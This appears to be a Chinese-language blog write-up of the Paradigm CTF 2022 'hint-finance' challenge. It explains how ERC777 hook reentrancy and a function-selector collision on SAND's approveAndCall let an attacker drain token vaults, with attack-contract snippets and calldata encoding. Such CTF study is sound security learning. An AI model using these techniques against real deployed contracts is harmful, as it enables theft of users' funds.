03.hint-finance
2023-07-23 16:31:55 # 14.Paradigm CTF 2022

hint-finance

分析

1.任务

这是一个主网的 fork,根据Etherscan可查询到三个underlyingTokens分别为:PNT,SAND,AMP。其中,PNT 和 AMP 都是 ERC777, SAND token 是一个 ERC20。

要求我们调用isSolved()函数成功返回true,即我们需要拿走金库拥有的underlyingTokens余额的99%

1
2
3
4
5
address[3] public underlyingTokens = [
0x89Ab32156e46F46D02ade3FEcbe5Fc4243B9AAeD,
0x3845badAde8e6dFF049820680d1F14bD3903a5d0,
0xfF20817765cB7f73d4bde2e66e067E58D11095C2
];
1
2
3
4
5
6
7
8
9
10
11
function isSolved() public view returns (bool) {
for (uint256 i = 0; i < underlyingTokens.length; ++i) {
// 每一个underlyingTokens对应一个金库地址
address vault = hintFinanceFactory.underlyingToVault(underlyingTokens[i]);
// 获取金库拥有的underlyingTokens余额
uint256 vaultUnderlyingBalance = ERC20Like(underlyingTokens[i]).balanceOf(vault);
// 我们需要拿走金库拥有的underlyingTokens余额的99%
if (vaultUnderlyingBalance > initialUnderlyingBalances[i] / 100) return false;
}
return true;
}

2.全局观

一共三个合约

  • Setup.sol
    • 部署题目,部署三个underlyingTokens,三个rewardTokens和创建三个金库,并且设置对应关系
  • HintFinanceFactory.sol
    • 创建金库
    • 金库和 underlyingTokens 对应关系
    • 给金库增加 rewardToken
  • HintFinanceVault.sol
    • 存款,借款,取款,闪电贷
    • rewardToken 的信息(比如利率,可取数目)会随着时间变化,有点线性释放的味道

题目的类型很典型:存入一定数量的underlyingTokens 到金库,他会给你一些金库份额,然后取款underlyingTokens 的时候会额外给你一些rewardToken(当然是根据一些规则给你)。并且还提供了闪电贷来借用金库持有的任何token。

3.详细分析

三个underlyingTokens 分别为ERC777和ERC20,ERC777非常容易出错,ERC20也是问题经常出现

3.1ERC777

发现漏洞

ERC777存在钩子函数:转账代币的时候会调用发送方的_callTokensToSend()和接收方的_callTokensReceived()进行回调。这样就类比call()转账然后进入fallback()重入。

当然ERC777需要到ERC1820进行钩子注册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function _send(
address from,
address to,
uint256 amount,
bytes memory userData,
bytes memory operatorData,
bool requireReceptionAck
)
internal
{
require(from != address(0), "ERC777: send from the zero address");
require(to != address(0), "ERC777: send to the zero address");

address operator = _msgSender();

_callTokensToSend(operator, from, to, amount, userData, operatorData);

_move(operator, from, to, amount, userData, operatorData);

_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);
}

金库合约的存款和取款函数都没有重入保护,因此可以利用此钩子函数进行回调重入攻击

利用漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 存款,缺乏重入保护
function deposit(uint256 amount) external updateReward(msg.sender) returns (uint256) {
uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this));
// 4. totalSupply会远大于bal,因为bal是金库拥有的数量,而totalSupply是全部人拥有的量,
// 因为在withdraw的时候转给了攻击地址一大笔钱,但是totalSupply还没来得及更新,因此
// 下面式子中totalSupply和bal不变,计算出来的shares会比原来大很多.
// PS:注意它这样计算shares是为了线性计算用户存入token之后可以得到的份额,然后根据份额在取款的时候给利息
uint256 shares = totalSupply == 0 ? amount : amount * totalSupply / bal;
// 5. 然后金库给攻击合约转 bal-1 的金额
// 注意此时的amount是(bal-1)/2,因此在调用钩子函数的时候并不会再次重入
ERC20Like(underlyingToken).transferFrom(msg.sender, address(this), amount);
totalSupply += shares;
// 6. 但是金库却给我们记录了大了好多倍的金额
balanceOf[msg.sender] += shares;
return shares;
}

// 单个取款,缺乏重入保护
function withdraw(uint256 shares) external updateReward(msg.sender) returns (uint256) {
// 1. 不用验证msg.sender是不是拥有shares这么多钱,因为不够的话会下溢,但0.8.0^会报错revert
uint256 bal = ERC20Like(underlyingToken).balanceOf(address(this));
// PS:这里的式子是计算我们的shares占总totalSupply的百分比,然后获取金库一定比例的金额
uint256 amount = shares * bal / totalSupply;
// 2. 会给我们的攻击合约发送一大笔钱:bal-1
// 3. 然后进入到钩子函数,然后钩子函数又会调用到deposit()
ERC20Like(underlyingToken).transfer(msg.sender, amount);
// 7. 执行完钩子函数之后,我们将我们的余额减去bal-1,此时不会失败,因为我们的deposit()时给我们记录了好几倍的金额
totalSupply -= shares;
// 8.最后减去一小部分shares
balanceOf[msg.sender] -= shares;
return amount;
}

我们需要控制好回调函数的条件,什么时候重入什么时候停止重入。在这里,我们重入一次就好,重入一次就可以获得很大的shares。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// PNT的回调函数
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
)external{
if (amount == prevAmount) {
console.log(" balance(vault)-1:",amount);
uint256 share = HintFinanceVault(vault).deposit(amount - 2); // 这样就不符合amount == prevAmount而再次重入了
console.log(" attack's share:",share);
}
}

// AMP的回调函数
function tokensReceived(
bytes4 functionSig,
bytes32 partition,
address operator,
address from,
address to,
uint256 value,
bytes calldata data,
bytes calldata operatorData
)external{
if (value == prevAmount) {
console.log(" balance(vault)-1:",value);
uint256 share = HintFinanceVault(vault).deposit(value - 2); // 这样就不符合amount == prevAmount而再次重入了
console.log(" attack's share:",share);
}
}

最终扣除一笔小的share,但授权很大数目的shares,然后我们可以使用正常的withdraw()取钱即可

3.2ERC20

发现漏洞

针对 ERC20,有一种常见的攻击模式,即想办法使得 token 的 owner 给 hacker 进行 approve 操作,通常这是一种钓鱼手法,但是在很多支持 flashloan 的合约中,可以让合约来给我进行 approve。这样就可以在满足 flashloan 的前提下,即不直接拿走 vault 的 token,但是让其对 hacker 进行 approve 了。

所以本题的思路是:如何让 vault 合约作为 msg.sender, 调用 token 合约的 approve 方法。可以利用 flashloan 的 回调函数来实现,但是该 回调函数写死了,是onHintFinanceFlashloan(),并不是一个可以任意传的值,即不是address(caller).call(data)

SAND合约没有实现onHintFinanceFlashloan(),并且它的approve方法逻辑是正确的无可挑剔不可利用。但是认真找一下,它还存在这样一个父合约: ERC20BasicApproveExtension.sol,它有一个函数可以进行approve:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function approveAndCall(
address target,
uint256 amount,
bytes calldata data
) external payable returns (bytes memory) {
require(
BytesUtil.doFirstParamEqualsAddress(data, msg.sender),
"first param != sender"
);

_approveFor(msg.sender, target, amount);

// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(msg.value)(data);
require(success, string(returnData));
return returnData;
}

approveAndCall函数也会让调用者向对应地址进行approve,还会根据传入的data去target地址中调用相应的函数。如果我们能让Vault合约调用这个函数或者approve函数,即可拿到权限。看起来好像并没有能让Vault调用这两个函数的方法,flashloan中唯一存在的一个外部函数调用就是他自己的回退函数_onHintFinanceFlashloan

函数选择器碰撞!但经过对比,发现approveAndCallonHintFinanceFlashloan的函数选择器是相同的,也就是说,在flashloan()函数中由于函数选择器相同的原因,可以调用到approveAndCall函数,从而达到目的。也就是我们说的函数选择器碰撞

1
2
3
4
5
cast sig "approveAndCall(address,uint256,bytes)"
# 0xcae9ca51

cast sig "onHintFinanceFlashloan(address,address,uint256,bool,bytes)"
# 0xcae9ca51
利用漏洞

1.

针对 calldata 进行编码时,要由外到内,首先编码出 approveAndCall() 中传入的参数

  • token应该是SAND合约
  • 第一个参数是vault代表要调用vault中的函数
  • 第二个参数是amount代表要授权给msg.sender的金额
  • 第三个参数是data代表要调用vault中的某个方法
1
SandLike(token).approveAndCall(vault, amount, data);  

这个 data 是调用 flashloan() 的 calldata,即 data 要满足flashloan(address token, uint256 amount, bytes calldata data)这个函数;则写成如下:

1
bytes memory data = abi.encodeWithSelector(HintFinanceVault.flashloan.selector, address(this), amount, innerData);

2.

然后,在来查看 innerData 的编码方式,他需要同时满足onHintFinanceFlashloan()approveAndCall()两个函数;将两个函数的参数对齐如下:

approveAndCall() onHintFinanceFlashloan() 偏移
address target address token 0x20
uint256 amount address factory 0x40
0xa0(要告诉方法跳到innerdata那里) uint256 amount 0x60
0(对齐位置,补0即可) bool isUnderlyingOrReward 0x80
bytes memory innerdata bytes memory data 0xa0

因此,(第三行)这里的amount和factory就是授权给token 的金额,(第四行)而amount是要告诉方法跳到innerdata那里

3.

接下来我们要编码innerdata。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function approveAndCall(
address target,
uint256 amount,
bytes calldata data
) external payable returns (bytes memory) {
require(
BytesUtil.doFirstParamEqualsAddress(data, msg.sender),
"first param != sender"
);

_approveFor(msg.sender, target, amount);

// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(msg.value)(data);
require(success, string(returnData));
return returnData;
}

function doFirstParamEqualsAddress(bytes memory data, address _address)
internal
pure
returns (bool)
{
if (data.length < (36 + 32)) {
return false;
}
uint256 value;
assembly {
value := mload(add(data, 36))
}
return value == uint256(_address);
}

根据代码我们可以得到:

  • data中的第一个参数必须是msg.sender,因为是金库调用的,因此第一个参数必须是金库的地址。
  • doFirstParamEqualsAddress()要求参数的长度必须大于或等于68,也就是说我们的参数至少是两个
  • innerdata必须是一个可以执行的方法,而且必须执行成功,那么我们可以让它来执行一个静态方法比如balanceOf()

因此编码可以得到如下:

1
bytes memory innerData = abi.encodeWithSelector(ERC20Like.balanceOf.selector, address(vault), 0);

4.

为了闪电贷执行成功,需要攻击合约实现balanceOf()transfer()方法,因为闪电贷会执行token的这两个方法

1
2
3
4
5
6
7
8
9
10
11
function transfer(address, uint256) external returns (bool) {
// 在闪电贷方法中有一行: ERC20Like(token).transfer(msg.sender, amount);
// 因此攻击合约要实现这个方法进行伪装
return true;
}

function balanceOf(address) external view returns (uint256) {
// 在闪电贷方法中有一行: ERC20Like(token).balanceOf(address(this));
// 因此攻击合约要实现这个方法进行伪装
return 0;
}

5.授权成功后,就直接转账即可

1
2
3
SandLike(token).approveAndCall(vault, amount, data);  
// vault approve给本合约之后,我们就可以用transferFrom进行转账了
ERC20Like(token).transferFrom(vault, address(this), ERC20Like(token).balanceOf(vault));

3.3一些其他的限制

根据ERC777的规则,我们需要额外增加这些内容

1
2
3
4
5
6
7
8
// AMP合约中有一个这个东西:string internal constant AMP_TOKENS_RECIPIENT = "AmpTokensRecipient";
// 调用 ERC1820 注册表合约的 setInterfaceImplementer函数 注册AmpTokensRecipient接口实现(接口的实现是自身),
// 这样在收到代币时,会回调 tokensReceived函数
EIP1820Like(EIP1820).setInterfaceImplementer(address(this), keccak256("AmpTokensRecipient"), address(this));
// PNT合约中有一个这个东西:bytes32 constant private _TOKENS_RECIPIENT_INTERFACE_HASH = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
// 调用 ERC1820 注册表合约的 setInterfaceImplementer函数 注册ERC777TokensRecipient接口实现(接口的实现是自身),
// 这样在收到代币时,会回调 tokensReceived函数
EIP1820Like(EIP1820).setInterfaceImplementer(address(this), keccak256("ERC777TokensRecipient"), address(this));

解题

见GitHub仓库

反思

  • 本题考察了ERC777的钩子函数进行重入攻击和ERC20的approve钓鱼授权,我们需要了解EIP-1820和EIP-777的工作原理。做本题之前并不懂,然后现学。
  • 题目fork了主网中的数据,因此本题有很强的现实应用性,没有比赛环境,一样可以根据区块高度来fork主网实现重现。需要懂得如何复现题目的环境,配置好题目之后再进行攻击,foundry非常牛!
  • 函数选择器碰撞的题目还是头一次做,需要注意calldata的位置和编码要求,并且构造的时候需要满足各种条件的限制,比如本题中的doFirstParamEqualsAddress()就偷偷要求至少得两个参数。
  • 为了完成攻击,还要做各种的小操作来完成攻击,比如攻击合约要实现transfer()balanceOf()(闪电贷要求)
  • 总的来说,题目很棒,当然我是看别人的题解的,但还是受益匪浅了,最终也是完全理解的思路和攻击方法。还是那句话,得看很多积累攻击类型和经验